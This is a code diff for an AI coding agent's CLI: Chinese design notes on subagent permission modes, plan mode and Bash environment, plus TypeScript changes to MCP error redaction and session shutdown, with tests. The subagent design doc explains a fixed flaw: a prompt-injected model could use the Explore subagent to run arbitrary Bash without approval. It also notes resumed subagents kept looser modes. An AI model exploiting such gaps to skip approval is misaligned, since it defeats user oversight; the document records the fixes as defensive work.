+来自 session cwd,环境变量使用执行 adapter 的默认继承策略,并在其上固定设置会话上下文变量:
+`CLAUDE_CODE_SESSION_ID`、`CLAUDE_SESSION_ID`、`ZCODE_SESSION_ID` 为当前会话 ID,
+`CLAUDE_PROJECT_DIR`、`ZCODE_PROJECT_DIR` 为会话工作区根目录(会话创建时的工作目录,不随 `cd`
+变化)。这组变量与 hooks 的插件环境一致,自定义命令 `!` 块转交给 Bash 后、以及插件脚本在
+自身进程里读取时都依赖它们。`ExecutionPort` 可以继续保留
 `argv/cwd/env` 给 hooks、内部 runner 或后续非模型调用使用,但不得通过 Bash tool schema 暴露给模型。
 
 `_simulatedSedEdit` 一类内部字段不进入模型 schema。ZCode 如支持内部扩展字段,必须与模型可见 schema 分离,防止绕过权限或 sandbox。
@@ -238,7 +242,7 @@ flowchart LR
 | `command.mode = "shell"` | Bash tool 使用的执行模式。模型提供的 `command` 作为 shell command 执行 |
 | `command.mode = "argv"` | ExecutionPort 的内部执行模式。hooks、配置 runner 或后续非模型调用可用,不暴露给 Bash tool schema |
 | `cwd` | Bash tool 必须传入 session cwd 解析出的绝对路径;不得从 tool input 接收 cwd,也不允许 adapter 隐式回退宿主进程当前目录 |
-| `env` | Bash tool 不从模型输入接收 env overlay。ExecutionPort 仍保留该字段给内部调用,adapter 负责 Windows 环境变量大小写差异 |
+| `env` | Bash tool 不从模型输入接收 env overlay。handler 固定设置会话 ID 与会话工作区根目录变量(见上文),其余继承默认策略。ExecutionPort 仍保留该字段给内部调用,adapter 负责 Windows 环境变量大小写差异 |
 | `timeoutMs` | 普通 `run()` 的单次执行超时;Bash background lifecycle 会把它解释为前台等待预算,并在后台提交时清除 |
 | `signal` | 取消信号。取消必须进入结构化 `cancelled` 状态并触发进程树清理 |
 | `sandbox` | sandbox 策略请求。第一版可以是 no-op,但字段必须贯穿 trace 和审计 |

+ 8 - 5
apps/zcode-cli/docs/design/v2/tool/07-subagent.md

@@ -115,7 +115,7 @@ agent definition 的核心字段:
 | `disallowedTools` | 在允许全集上再次剔除 |
 | `model` | agent 默认模型,`inherit` 表示继承父模型 |
 | `effort` | 推理 effort 覆盖 |
-| `permissionMode` | agent 内部工具权限模式。普通 worker 默认使用 `acceptEdits` |
+| `permissionMode` | agent 内部工具权限模式。ZCode 省略时继承父会话模式与 Plan 状态(内置 Explore 相同);父为 guarded 时,yolo(含 `bypassPermissions`、`dontAsk`)一律收紧为 guarded。用户级 profile 按声明生效,项目级 profile 忽略,插件 profile 只能收紧,见「ZCode 当前实现」 |
 | `maxTurns` | agent 内部 query loop 最大轮数 |
 | `skills` | 启动时预加载的 prompt skill |
 | `mcpServers` | child 可见的 parent MCP server 范围;设计上可支持引用或 inline config,ZCode 当前只接受 parent server name 列表 |
@@ -170,7 +170,7 @@ child 的初始 context snapshot 只由父级传下的配置组成(envInfo、
 
 子 agent 不是简单继承父工具。普通 subagent 使用:
 
-1. 用 agent 的 `permissionMode` 生成 worker permission context,默认 `acceptEdits`。
+1. 用 agent 的 `permissionMode` 生成 worker permission context。ZCode 省略时继承父会话模式,按来源的规则见「ZCode 当前实现」。
 2. 按 worker permission context 和当前 MCP tools 组装候选工具。
 3. 应用 agent 的 `tools`、`disallowedTools` 和全局 subagent 过滤(区分同步与后台 agent)。
 4. agent 专属 MCP server 初始化后,其 MCP tools 与 resolved tools 合并并按 name 去重。
@@ -315,6 +315,7 @@ ZCode 建议拆成两层声明:
 - auto mode 下直接 allow。
 - 子 agent 不应自动继承父 agent 的 tool 限制;它通过自己的 tool pool 和 permission mode 重新组装。
 - 但当父权限模式是 `bypassPermissions`、`acceptEdits` 或 `auto` 时,子 agent 会继承该能力边界,不允许 agent definition 覆盖成更低权限。这是高风险点。
+- ZCode 当前规则与上一条不同:子会话模式按 profile 来源决定,插件声明只能收紧,见「ZCode 当前实现」。
 - async agent 默认避免弹权限 prompt,除非 permission mode 是 `bubble` 或显式允许显示 prompt。
 - `AskUserQuestion` 在 subagent 内默认不可用,避免子 agent 直接向用户发起交互。
 
@@ -397,8 +398,8 @@ ZCode 应把 hook/MCP/skill 都视为外部 I/O 或扩展边界,必须带 trac
   broad file/code search。Windows CMD 或 legacy shell fallback 无法注入 Bash function 时,
   才回到 non-embedded/direct 分支并暴露 `Glob/Grep`。
 - child tool pool 按 embedded search branch 切换:默认为 `Bash`、`Read`、`WebFetch`、`WebSearch`、`TodoWrite`;direct fallback branch 额外包含 `Glob`、`Grep`。它始终显式排除 `Agent`、`Write`、`Edit`、`ApplyPatch`、`Skill`、`AskUserQuestion` 等递归、写入或用户交互能力。
-- `Agent` 自身声明为编排层 read-only、`sideEffectScope: session`、不需要审批;实际文件读取仍由 child 的 read-only tool 走各自 schema、权限和 trace。`Bash` 是 child tool pool 中唯一可能产生副作用的入口,其只读约束由 Explore system prompt 的 read-only 禁令和缺失文件写工具共同承担。
-- child runtime 使用 `yolo` mode 和专用 Explore system prompt;`plan` mode 会因 Bash 非 read-only 而拦截 Explore 的只读 shell 查询,因此该阶段通过 tool allowlist 和 Explore system prompt 约束只读语义。业务代码通过 `SubagentPort` 调度,不直接依赖 runtime 内部实现。
+- `Agent` 自身声明为编排层 read-only、`sideEffectScope: session`、不需要审批;实际文件读取仍由 child 的 read-only tool 走各自 schema、权限和 trace。`Bash` 是 child tool pool 中唯一可能产生副作用的入口;它的只读约束由权限层(继承父会话模式与 Plan 状态,shell AST 判定只读,见下一条)、Explore system prompt 的 read-only 禁令和缺失文件写工具共同承担。
+- child runtime 继承父会话的权限模式、Plan 状态和权限服务(allowedTools、disallowedTools、会话内授权),配专用 Explore system prompt。Bash 是否只读由 shell AST 判定:只读命令放行;非只读命令在父会话 build/edit 下请求审批(代理回父会话),在 Plan 下拒绝,在 yolo 下放行,在 guarded 下命中危险命令规则时单次确认、其余放行;WebFetch 同样按父会话模式判定。修复原因:Explore 曾固定以 yolo 和独立权限服务运行,只靠 prompt 约束只读,提示注入后模型可经 `Agent(Explore)` 在 build 或 Plan 父会话下免审批执行任意 Bash。业务代码通过 `SubagentPort` 调度,不直接依赖 runtime 内部实现。
 
 后台 subagent 的原始设计来源见 [Background Subagent 第一版实施规划(历史)](./07-subagent-background-plan.md)。该文档用于解释第一版 lifecycle 取舍,不覆盖本节和 `RespondToCoordinator` 当前契约。
 
@@ -416,7 +417,9 @@ ZCode 应把 hook/MCP/skill 都视为外部 I/O 或扩展边界,必须带 trac
 - 模型可见工具名仍为 `Agent`;`subagent_type` 省略时默认 `general-purpose`,显式值通过当前 runtime 已加载的 agent profile 解析。
 - profile-backed agent 支持同步运行和 `run_in_background: true`。后台任务继续使用 `RuntimeTaskRegistry`、child session、completion notification 和 runtime command queue,不建立第二套任务状态。
 - runtime 仅在 `SubagentPort.sendMessage` 可用时注册模型可见 `SendMessage`;当前 profile-backed child 固定关闭 subagent 能力且不注入该 port,因此不会注册 `SendMessage`。若未来 child 提供该 port,tool allowlist/disallowlist 仍会继续过滤模型可见工具。
-- 内建 agent 包含默认的 `general-purpose` 和只读搜索用的 `Explore`;project/user profile 可以覆盖 system prompt、tool policy、model、permission mode、skills 和 background 设置。profile 的 `tools: ["*"]` 仍需经过全局 child tool filter、profile `disallowedTools` 和 runtime allow/disallow 规则收敛。
+- 内建 agent 包含默认的 `general-purpose` 和只读搜索用的 `Explore`;project/user profile 可以覆盖 system prompt、tool policy、model、skills 和 background 设置,permission mode 见下一条。profile 的 `tools: ["*"]` 仍需经过全局 child tool filter、profile `disallowedTools` 和 runtime allow/disallow 规则收敛。
+- 子会话权限模式:profile 省略 `permissionMode` 时继承父会话模式与 Plan 状态,内置 Explore 相同;父为 guarded 时,任何来源的 yolo(含 `bypassPermissions`、`dontAsk`)都收紧为 guarded。用户级 profile 按声明生效;项目级 profile 的声明在解析时剥离;插件 profile(官方与第三方同一规则)只在比父会话模式更严格时生效,严格程度从严到宽为 plan、build、edit、guarded、yolo,`auto` 未实现,按继承处理。规则与威胁边界见 [项目配置信任边界](../../../../../../docs/security/deep-link-project-trust-boundary.md)。
+- 用 `SendMessage` 恢复已结束的子会话时,按父会话**当前**的模式与 Plan 状态重新计算子会话模式(规则同上),覆盖子会话落盘时的执行状态。修复原因:恢复路径曾沿用子会话落盘的模式,父会话从 yolo 改为 build 后恢复的子会话仍以 yolo 运行,升级前落盘为 yolo 的 Explore 与插件 bypass 子会话也不受上述规则约束,父会话开启 Plan 后恢复的子会话也不在 Plan。
 - provider-visible `TaskStop` 可以停止当前 runtime 中已经 background 的 `local_agent` / `local_bash`;`local_agent` 的 result `command` 使用短 `description`,不得回退为完整 `prompt`。
 
 ### Built-in Explore 身份边界

+ 13 - 1
apps/zcode-cli/docs/design/v2/tool/16-plan-mode.md

@@ -14,7 +14,8 @@ ZCode 第一版不引入 plan file、auto mode gate、teammate mailbox、专用
 - 输入:空对象 `{}`
 - 输出:`{ message, previousMode, mode: "plan" }`
 - 能力:直接进入 plan mode,用于复杂实现任务开始前的探索和方案设计。
-- 权限:`EnterPlanMode` 不弹用户审批,调用成功即切换到 plan mode。
+- 权限:`EnterPlanMode` 不弹用户审批,调用成功即切换到 plan mode。进入 plan 不放宽任何工具的权限:
+  plan 只在原模式之上收紧,见 [Plan Mode Approval Boundary](../../../../../../docs/plan-mode-approval-boundary.md)。
 - 副作用:`sideEffectScope: "session"`,不是 read-only。
 - 并发:不安全,必须串行。mode 变更不能和其它 session mutation 并行。
 - 失败:
@@ -107,6 +108,14 @@ If this plan is relevant to the current work and not already complete, continue
 不因重启额外注入完整提醒。旧会话缺少这些历史记录时,沿用缺少提醒时的首次注入规则。
 批准后的计划持久化和 compact/resume 连续性沿用上节合同。
 
+子会话(Agent 工具派生、`taskType: "subagent_child"`)继承父会话的 Plan 状态时,只收到精简提醒:
+声明 Plan 已开启、只能做只读操作、完整回答委派的查询;子会话可见 `AskUserQuestion` 时,再提示可以用它澄清。
+精简提醒不含五阶段流程,也不要求以 `AskUserQuestion` 或 `ExitPlanMode` 结束本轮(子会话没有
+`ExitPlanMode`,也不能再派生子 agent)。提醒间隔、持久化与恢复规则与主会话相同,不区分完整与简短;compact 后重发提醒时
+同样按会话类型选择正文,子会话重发的仍是精简提醒。
+修复原因:继承父会话 Plan 的子会话曾收到主会话的完整五阶段提醒,被要求再派生 Explore、只能以
+`AskUserQuestion` 或 `ExitPlanMode` 收尾,而这些工具子会话都没有。
+
 ## Runtime 和事件
 
 工具 handler 不直接 import bootstrap 或 UI 状态。core 通过 `SessionModePort` 注入 mode 操作:
@@ -129,6 +138,9 @@ runtime 实现负责保存 `prePlanMode`、更新 `config.mode`、写入 `Sessio
 - contracts:输入输出 schema 成功/失败,JSON Schema 投影。
 - core:registry 暴露两个工具;metadata/permission 不伪装 read-only。
 - permission:`EnterPlanMode` 直接 allow;`ExitPlanMode` 在非 yolo 进入的 plan mode 下请求审批,在从 yolo 进入的 plan mode 下直接 allow;两者都不会被 read-only 禁令误挡。
+- permission:其他工具在 plan 下先过 Plan 闸门再按原模式判定,plan 不比原模式宽;
+  需审批的只读工具交给原模式,非只读 MCP 在 build/edit 下单次询问且 allow 规则不能跳过。
+  规则见 [Plan Mode Approval Boundary](../../../../../../docs/plan-mode-approval-boundary.md)。
 - runtime:`EnterPlanMode` 调用成功后 mode=plan;`ExitPlanMode` 审批通过后恢复 previous mode;拒绝后 mode 不变。
 - events:`SessionModeChanged` 能更新 projection,snapshot 使用 projection mode。
 - reminder:退出后下一轮注入 `plan_mode_exit`,且只注入一次。

+ 25 - 5
apps/zcode-cli/packages/adapters/src/mcp/index.ts

@@ -53,7 +53,7 @@ import {
 import { buildMcpAppsClientCapabilities } from "@zcode/shared/mcp-apps";
 import { createHash, randomUUID } from "node:crypto";
 import { resolve } from "node:path";
-import { isDeepStrictEqual } from "node:util";
+import { isDeepStrictEqual, stripVTControlCharacters } from "node:util";
 import {
   createSharedZCodeCredentialStore,
   type SharedZCodeCredentialStore,
@@ -113,6 +113,7 @@ const DEFAULT_MCP_TIMEOUT_MS = 30_000;
 const MCP_PING_TIMEOUT_MS = 5_000;
 const MAX_MCP_VERSION_PROBE_TIMEOUT_MS = 5_000;
 const MCP_STDIO_STDERR_LOG_MAX_CHARS = 4_000;
+const MCP_STDIO_ERROR_MESSAGE_MAX_CHARS = 512;
 /**
  * span → request id 的暂存条数上限。正常情况下每条都会在同一次 tool call 结束时被取走,
  * 留下的只有无人认领的(如连接期请求),几十条足够,纯为防止长会话下无界增长。
@@ -1905,14 +1906,25 @@ class NodeMcpAdapter implements McpPort {
     const displayMessage = responseDiagnostic?.serverRequestId
       ? `${message} - ${responseDiagnostic.serverRequestId}`
       : message;
+    const recentStderr = getRecentStderr?.();
+    // 子进程缺依赖等错误只写 stderr,SDK 通常只返回 Connection closed。
+    // 把同一次连接的脱敏诊断带给设置页;只展示证据,不按错误文本改变失败分类或重试。
+    const statusMessage =
+      config.type === "stdio"
+        ? [
+            sanitizeMcpStdioStderr(displayMessage).slice(0, MCP_STDIO_ERROR_MESSAGE_MAX_CHARS),
+            recentStderr,
+          ]
+            .filter(Boolean)
+            .join("\n\n")
+        : displayMessage;
     const status = this.createStatus(config, "failed", {
-      error: displayMessage,
+      error: statusMessage,
       failureKind,
       ...(responseDiagnostic?.serverRequestId
         ? { serverRequestId: responseDiagnostic.serverRequestId }
         : {}),
     });
-    const recentStderr = getRecentStderr?.();
     const mcpTransportPid = getStdioTransportPid(transport);
     await this.closeClientAndTransport(name, client, transport);
     if (!this.isCurrentConnection(name, generation)) {
@@ -2492,7 +2504,9 @@ function createBoundedTextBuffer(maxChars: number): {
 }
 
 function sanitizeMcpStdioStderr(text: string): string {
-  const sensitiveKey = String.raw`(?:api[_-]?key|access[_-]?key|secret(?:[_-]?key)?|private[_-]?key|token|password|passwd|pass|mysql_pass|mysql_password)`;
+  text = stripVTControlCharacters(text);
+  // 插件常给敏感环境变量加前缀,例如 API_TOKEN、VE_SPEECH_MCP_TOKEN,不能只匹配裸 token。
+  const sensitiveKey = String.raw`(?:[a-z0-9_.-]*[_-])?(?:api[_-]?key|access[_-]?key|secret(?:[_-]?key)?|private[_-]?key|token|password|passwd|pass|mysql_pass|mysql_password)`;
   let result = text.replace(/(bearer\s+)[^\s"']+/gi, "$1[Redacted]");
   result = result.replace(
     /(\bauthorization\b\s*[:=]\s*)(bearer\s+)?[^\r\n]+/gi,
@@ -2500,8 +2514,14 @@ function sanitizeMcpStdioStderr(text: string): string {
       `${prefix}${bearer ? "Bearer " : ""}[Redacted]`,
   );
   result = result.replace(new RegExp(`([?&]${sensitiveKey}=)[^&\\s]+`, "gi"), "$1[Redacted]");
+  // 引号中的凭证可能包含空格或转义引号,必须整体替换,不能只遮住第一个词。
+  const quotedValue = String.raw`(["'])(?:\\.|(?!\2)[^\\\r\n])*\2`;
+  result = result.replace(
+    new RegExp(String.raw`(["']${sensitiveKey}["']\s*:\s*)${quotedValue}`, "gi"),
+    "$1$2[Redacted]$2",
+  );
   result = result.replace(
-    new RegExp(`(["']${sensitiveKey}["']\\s*:\\s*)(["'])(?:(?!\\2).)*\\2`, "gi"),
+    new RegExp(String.raw`(\b${sensitiveKey}\b\s*[:=]\s*)${quotedValue}`, "gi"),
     "$1$2[Redacted]$2",
   );
   result = result.replace(

+ 86 - 1
apps/zcode-cli/packages/adapters/tests/mcp.test.ts

@@ -645,7 +645,7 @@ describe("createMcpAdapter", () => {
         type: "stdio",
       }),
     ).resolves.toMatchObject({
-      error: "MCP error -32000: Connection closed",
+      error: expect.stringContaining("fatal: database refused connection"),
       status: "failed",
     });
 
@@ -668,6 +668,91 @@ describe("createMcpAdapter", () => {
     expect(warnContext.stderr).toContain("Authorization: Bearer [Redacted]");
     expect(warnContext.stderr).not.toContain("super-secret");
     expect(warnContext.stderr).not.toContain("live-token");
+    const status = (await adapter.status())["mysql-local"];
+    expect(status?.error).toContain("MCP error -32000: Connection closed");
+    expect(status?.error).toContain("MYSQL_PASS=[Redacted]");
+    expect(status?.error).not.toContain("super-secret");
+    expect(status?.error).not.toContain("live-token");
+    await adapter.close();
+  });
+
+  it.each([
+    ["python", "ModuleNotFoundError: No module named 'mcp'"],
+    ["node", "Error [ERR_MODULE_NOT_FOUND]: Cannot find package 'example-mcp'"],
+    ["path", "ENOENT: no such file or directory"],
+    ["permission", "PermissionError: [Errno 13] Permission denied"],
+  ])(
+    "exposes bounded sanitized %s startup evidence without changing failure kind",
+    async (_name, cause) => {
+      clientConnectMock.mockImplementation(async () => {
+        capturedStdioStderrHandlers[0]?.(
+          Buffer.from(
+            "noise".repeat(1_000) +
+              "\n\u001b[31m" +
+              cause +
+              "\u001b[0m\nAPI_TOKEN=fixture-secret\n",
+          ),
+        );
+        throw new Error("Connection closed");
+      });
+      const adapter = createMcpAdapter();
+      try {
+        const status = await adapter.connectServer("broken", { command: "node", type: "stdio" });
+        expect(status).toMatchObject({ status: "failed", failureKind: "process_start_failed" });
+        expect(status.error).toContain(cause);
+        expect(status.error).toContain("Connection closed");
+        expect(status.error).not.toContain("\u001b");
+        expect(status.error).not.toContain("fixture-secret");
+        expect(status.error!.length).toBeLessThanOrEqual(4_520);
+      } finally {
+        await adapter.close();
+      }
+    },
+  );
+
+  it("keeps HTTP failures separate from recent stdio stderr", async () => {
+    clientConnectMock.mockRejectedValue(new Error("network unavailable"));
+    const adapter = createMcpAdapter();
+    try {
+      const status = await adapter.connectServer("http-failure", {
+        type: "http",
+        url: "https://example.com/mcp",
+        headers: { Authorization: "Bearer fixture" },
+      });
+      expect(status.error).toBe("network unavailable");
+      expect(status.failureKind).toBe("network_unreachable");
+    } finally {
+      await adapter.close();
+    }
+  });
+
+  it("redacts quoted and escaped credential values before exposing stderr", async () => {
+    clientConnectMock.mockImplementation(async () => {
+      capturedStdioStderrHandlers[0]?.(
+        Buffer.from(
+          [
+            'API_TOKEN="first secret with spaces"',
+            String.raw`VE_SPEECH_MCP_TOKEN="second escaped\" secret"`,
+            String.raw`{"access_token":"third escaped\" secret"}`,
+            "ModuleNotFoundError: No module named 'mcp'",
+          ].join("\n"),
+        ),
+      );
+      throw new Error("Connection closed");
+    });
+    const adapter = createMcpAdapter();
+    try {
+      const status = await adapter.connectServer("quoted-secret", {
+        command: "node",
+        type: "stdio",
+      });
+      expect(status.error).toContain("No module named 'mcp'");
+      expect(status.error).not.toContain("secret");
+      expect(status.error).not.toContain("escaped");
+      expect(status.error).not.toContain("spaces");
+    } finally {
+      await adapter.close();
+    }
   });
 
   it("marks the record disconnected and logs recent stderr when the transport closes unexpectedly", async () => {

+ 29 - 10
apps/zcode-cli/packages/adapters/tests/permission-full-access.test.ts

@@ -2,13 +2,17 @@ import { DatabaseSync } from "node:sqlite";
 import { describe, expect, it } from "vitest";
 import { commitPermissionFullAccess } from "../src/storage/session-store/repositories/permission-full-access.js";
 import type { SessionId } from "@zcode/contracts";
+import { SQLITE_MIGRATIONS } from "../src/storage/session-store/migrations.js";
 
 function fixture() {
   const db = new DatabaseSync(":memory:");
-  db.exec(`
-    CREATE TABLE session_entry (id TEXT PRIMARY KEY, session_id TEXT, type TEXT, time_created INTEGER, time_updated INTEGER, data TEXT);
-    CREATE TABLE session_input (id TEXT PRIMARY KEY, session_id TEXT, payload TEXT, status TEXT, time_updated INTEGER);
-  `);
+  db.exec("PRAGMA foreign_keys = ON");
+  for (const id of ["0001_base_session_store", "0016_session_input_ledger"])
+    db.exec(SQLITE_MIGRATIONS.find((migration) => migration.id === id)!.sql);
+  for (const id of ["s", "other"])
+    db.prepare(
+      "insert into session (id, project_id, slug, directory, title, version, time_created, time_updated) values (?, 'project', 'test', '/workspace', 'test', '1', 0, 0)",
+    ).run(id);
   const original = {
     text: "hello",
     intent: { mode: "edit", planEnabled: true },
@@ -24,12 +28,9 @@ function fixture() {
     ["other", "other", "admitted"],
     ["done", "s", "promoted"],
   ]) {
-    db.prepare("insert into session_input values (?, ?, ?, ?, 0)").run(
-      id!,
-      session!,
-      JSON.stringify(original),
-      status!,
-    );
+    db.prepare(
+      "insert into session_input (id, session_id, payload, status, kind, delivery, admitted_sequence, time_created, time_updated) values (?, ?, ?, ?, 'sendText', 'queue', 1, 0, 0)",
+    ).run(id!, session!, JSON.stringify(original), status!);
   }
   const entry = (id: string, data: unknown) => ({
     id,
@@ -56,6 +57,24 @@ function fixture() {
 }
 
 describe("完全访问 SQLite 原子提交", () => {
+  it("真实外键拒绝缺少 session 父行的授权且不留下部分记录", async () => {
+    const { db, input } = fixture();
+    const sessionID = "missing-draft" as SessionId;
+    try {
+      await expect(
+        commitPermissionFullAccess(db, {
+          ...input,
+          sessionID,
+          queueItemIds: [],
+          execution: { ...input.execution, sessionID },
+          receipt: { ...input.receipt, sessionID },
+        }),
+      ).rejects.toThrow("FOREIGN KEY constraint failed");
+      expect(db.prepare("select count(*) as n from session_entry").get()!.n).toBe(0);
+    } finally {
+      db.close();
+    }
+  });
   it("仅指定任务和队列权限改变,重复 receipt 不扩大目标", async () => {
     const { db, input, read, original } = fixture();
     try {

+ 0 - 4
apps/zcode-cli/packages/bootstrap/src/app/create-app.ts

@@ -994,13 +994,9 @@ export async function createZCodeApp(options: ZCodeAppOptions): Promise<ZCodeApp
         return await resolveZCodeCustomCommandPrompt(text, {
           additionalDirectories: options.additionalDirectories,
           env: options.env,
-          executionPort,
           logger,
           projectConfigPath: options.projectConfigPath,
-          sessionId,
-          signal: resolverOptions?.abortSignal,
           skipUserConfig: options.skipUserConfig,
-          traceContext: resolverOptions?.traceContext ?? traceContext,
           userConfigPath: options.userConfigPath,
           workingDirectory,
         });

+ 90 - 108
apps/zcode-cli/packages/bootstrap/src/app/session-facade.ts

@@ -101,8 +101,6 @@ type SessionFacade = Pick<
   | "updateTargetStatus"
 >;
 
-const DEFAULT_SESSION_RESOURCE_CLOSE_TIMEOUT_MS = 6_000;
-
 interface SessionResourceCloseInput {
   beginShutdown: () => void;
   closeBrowserSession: () => Promise<void>;
@@ -111,7 +109,6 @@ interface SessionResourceCloseInput {
   closeNodeReplBrowserBroker?: () => Promise<void> | void;
   closeSessionStore?: () => void;
   logger: Logger;
-  timeoutMs?: number | null;
 }
 
 interface CreateSessionFacadeDeps {
@@ -288,50 +285,48 @@ export function createSessionFacade(deps: CreateSessionFacadeDeps): SessionFacad
 
   return {
     close: async () => {
-      closePromise ??= closeSessionResourceWithinDeadline(
-        "session_shutdown",
-        async () => {
-          // 关闭入口先阻止新调度并取消在飞 Memory Extraction,再等待取消链路收口。
-          const errors: unknown[] = [];
-          deps.runtime.beginShutdown();
-          const owners: Array<[string, (() => Promise<void>) | undefined]> = [
-            ["runtime_work", () => deps.runtime.closeOwnedWork()],
-            ["dynamic_workflow", deps.closeDynamicWorkflowRuns],
-            ["script_workflow", deps.closeScriptWorkflowRuns],
-          ];
-          // deadline 只限制外部等待;真实 drain 未完成前,依赖资源必须继续由此链持有。
-          const closed = await Promise.allSettled(
-            owners.flatMap(([, close]) => (close ? [Promise.resolve().then(close)] : [])),
-          );
-          for (const result of closed) if (result.status === "rejected") errors.push(result.reason);
-          const closableSessionStore =
-            deps.ownsSessionStore && isClosableSessionStore(deps.sessionStore)
-              ? deps.sessionStore
-              : undefined;
-          try {
-            await closeSessionResources({
-              beginShutdown: () => deps.runtime.beginShutdown(),
-              closeBrowserSession: () => deps.runtime.closeBrowserSession(),
-              closeExecution:
-                deps.ownsExecutionPort && deps.executionPort.close
-                  ? () => deps.executionPort.close?.()
-                  : undefined,
-              closeMcp: deps.ownsMcpPort && deps.mcpPort ? () => deps.mcpPort?.close() : undefined,
-              closeNodeReplBrowserBroker: deps.closeNodeReplBrowserBroker,
-              closeSessionStore: closableSessionStore
-                ? () => closableSessionStore.close()
+      // close 的结果必须代表真实完成;调用方等待超时不能让生命周期永久误判 faulted。
+      // 先登记 Promise 再执行 shutdown 回调,保证同步重入也只关闭一次。
+      closePromise ??= Promise.resolve().then(async () => {
+        // 关闭入口先阻止新调度并取消在飞 Memory Extraction,再等待取消链路收口。
+        const errors: unknown[] = [];
+        deps.runtime.beginShutdown();
+        const owners: Array<[string, (() => Promise<void>) | undefined]> = [
+          ["runtime_work", () => deps.runtime.closeOwnedWork()],
+          ["dynamic_workflow", deps.closeDynamicWorkflowRuns],
+          ["script_workflow", deps.closeScriptWorkflowRuns],
+        ];
+        // 所属工作实际收口后才释放依赖资源;进程退出预算由外层进程 owner 负责。
+        const closed = await closeNamedResources(owners, deps.logger);
+        for (const result of closed) if (result.status === "rejected") errors.push(result.reason);
+        const closableSessionStore =
+          deps.ownsSessionStore && isClosableSessionStore(deps.sessionStore)
+            ? deps.sessionStore
+            : undefined;
+        try {
+          await closeSessionResources({
+            beginShutdown: () => deps.runtime.beginShutdown(),
+            closeBrowserSession: () => deps.runtime.closeBrowserSession(),
+            closeExecution:
+              deps.ownsExecutionPort && deps.executionPort.close
+                ? () => deps.executionPort.close?.()
                 : undefined,
-              logger: deps.logger,
-              timeoutMs: null,
-            });
-          } catch (error) {
-            errors.push(error);
-          }
-          if (errors.length) throw new AggregateError(errors, "Session shutdown failed");
-        },
-        DEFAULT_SESSION_RESOURCE_CLOSE_TIMEOUT_MS,
-        deps.logger,
-      );
+            closeMcp: deps.ownsMcpPort && deps.mcpPort ? () => deps.mcpPort?.close() : undefined,
+            closeNodeReplBrowserBroker: deps.closeNodeReplBrowserBroker,
+            closeSessionStore: closableSessionStore
+              ? () => closableSessionStore.close()
+              : undefined,
+            logger: deps.logger,
+          });
+        } catch (error) {
+          errors.push(error);
+        }
+        if (errors.length)
+          throw new AggregateError(
+            errors,
+            `Session shutdown failed: ${errors.map((error) => (error instanceof Error ? error.message : String(error))).join("; ")}`,
+          );
+      });
       return await closePromise;
     },
     getMode: () => deps.runtime.getMode(),
@@ -766,6 +761,49 @@ export function createSessionFacade(deps: CreateSessionFacadeDeps): SessionFacad
   };
 }
 
+/** 慢关闭只提供诊断;不能用超时结果替代资源的真实完成。 */
+async function closeNamedResources(
+  resources: Array<[string, (() => Promise<void> | void) | undefined]>,
+  logger: Logger,
+): Promise<PromiseSettledResult<void>[]> {
+  const pending = new Set(resources.filter(([, close]) => close).map(([name]) => name));
+  const slow = setTimeout(() => {
+    if (pending.size)
+      logger.warn("Session resources are still closing", {
+        event: "session.resource_close.slow",
+        pendingResources: [...pending],
+        elapsedMs: 30_000,
+      });
+  }, 30_000);
+  slow.unref();
+  try {
+    return await Promise.allSettled(
+      resources.flatMap(([name, close]) =>
+        close
+          ? [
+              Promise.resolve()
+                .then(close)
+                .catch((cause: unknown) => {
+                  logger.warn("Session resource close failed", {
+                    event: "session.resource_close.failed",
+                    resource: name,
+                    error: cause instanceof Error ? cause.message : String(cause),
+                  });
+                  throw new Error(
+                    `${name}: ${cause instanceof Error ? cause.message : String(cause)}`,
+                    { cause },
+                  );
+                })
+                .finally(() => pending.delete(name)),
+            ]
+          : [],
+      ),
+    );
+  } finally {
+    clearTimeout(slow);
+  }
+}
+
 export async function closeSessionResources(input: SessionResourceCloseInput): Promise<void> {
   const errors: unknown[] = [];
   try {
@@ -788,24 +826,7 @@ export async function closeSessionResources(input: SessionResourceCloseInput): P
 
   // 独立资源并行释放;外部超时不能让仍在收尾的借用者碰到已关闭的 store。
   const completion = (async () => {
-    const results = await Promise.allSettled(
-      resources.flatMap(([name, close]) =>
-        close
-          ? [
-              Promise.resolve()
-                .then(close)
-                .catch((error: unknown) => {
-                  input.logger.warn("Session resource close failed", {
-                    event: "session.resource_close.failed",
-                    resource: name,
-                    error: error instanceof Error ? error.message : String(error),
-                  });
-                  throw error;
-                }),
-            ]
-          : [],
-      ),
-    );
+    const results = await closeNamedResources(resources, input.logger);
     for (const result of results) if (result.status === "rejected") errors.push(result.reason);
     try {
       input.closeSessionStore?.();
@@ -813,51 +834,12 @@ export async function closeSessionResources(input: SessionResourceCloseInput): P
       errors.push(error);
     }
     if (errors.length)
-      throw new AggregateError(errors, "Session resources could not be safely released");
+      throw new AggregateError(
+        errors,
+        `Session resources could not be safely released: ${errors.map((error) => (error instanceof Error ? error.message : String(error))).join("; ")}`,
+      );
   })();
-  if (input.timeoutMs === null) return completion;
-  return closeSessionResourceWithinDeadline(
-    "session_resources",
-    () => completion,
-    Math.max(1, Math.trunc(input.timeoutMs ?? DEFAULT_SESSION_RESOURCE_CLOSE_TIMEOUT_MS)),
-    input.logger,
-  );
-}
-
-async function closeSessionResourceWithinDeadline(
-  name: string,
-  close: () => Promise<void> | void,
-  timeoutMs: number,
-  logger: Logger,
-): Promise<void> {
-  let timer: NodeJS.Timeout | undefined;
-  const closePromise = Promise.resolve().then(close);
-  const outcome = await Promise.race([
-    closePromise.then(
-      () => ({ type: "completed" as const }),
-      (error: unknown) => ({ type: "failed" as const, error }),
-    ),
-    new Promise<{ type: "timed_out" }>((resolve) => {
-      timer = setTimeout(() => resolve({ type: "timed_out" }), timeoutMs);
-    }),
-  ]);
-  if (timer) clearTimeout(timer);
-
-  if (outcome.type === "completed") return;
-  if (outcome.type === "timed_out") {
-    logger.warn("Session resource close timed out", {
-      event: "session.resource_close.timed_out",
-      resource: name,
-      timeoutMs,
-    });
-    throw new Error(`Session resource close timed out: ${name}`);
-  }
-  logger.warn("Session resource close failed", {
-    error: outcome.error instanceof Error ? outcome.error.message : String(outcome.error),
-    event: "session.resource_close.failed",
-    resource: name,
-  });
-  throw outcome.error;
+  return completion;
 }
 
 async function persistSessionModelSelection(deps: CreateSessionFacadeDeps): Promise<void> {

+ 4 - 49
apps/zcode-cli/packages/bootstrap/src/custom-command-prompt.ts

@@ -1,31 +1,13 @@
-import {
-  expandCustomCommandPrompt,
-  expandCustomCommandTemplate,
-  formatCustomCommandPrompt,
-  type ExecutionPort,
-  type SessionId,
-  type TraceContext,
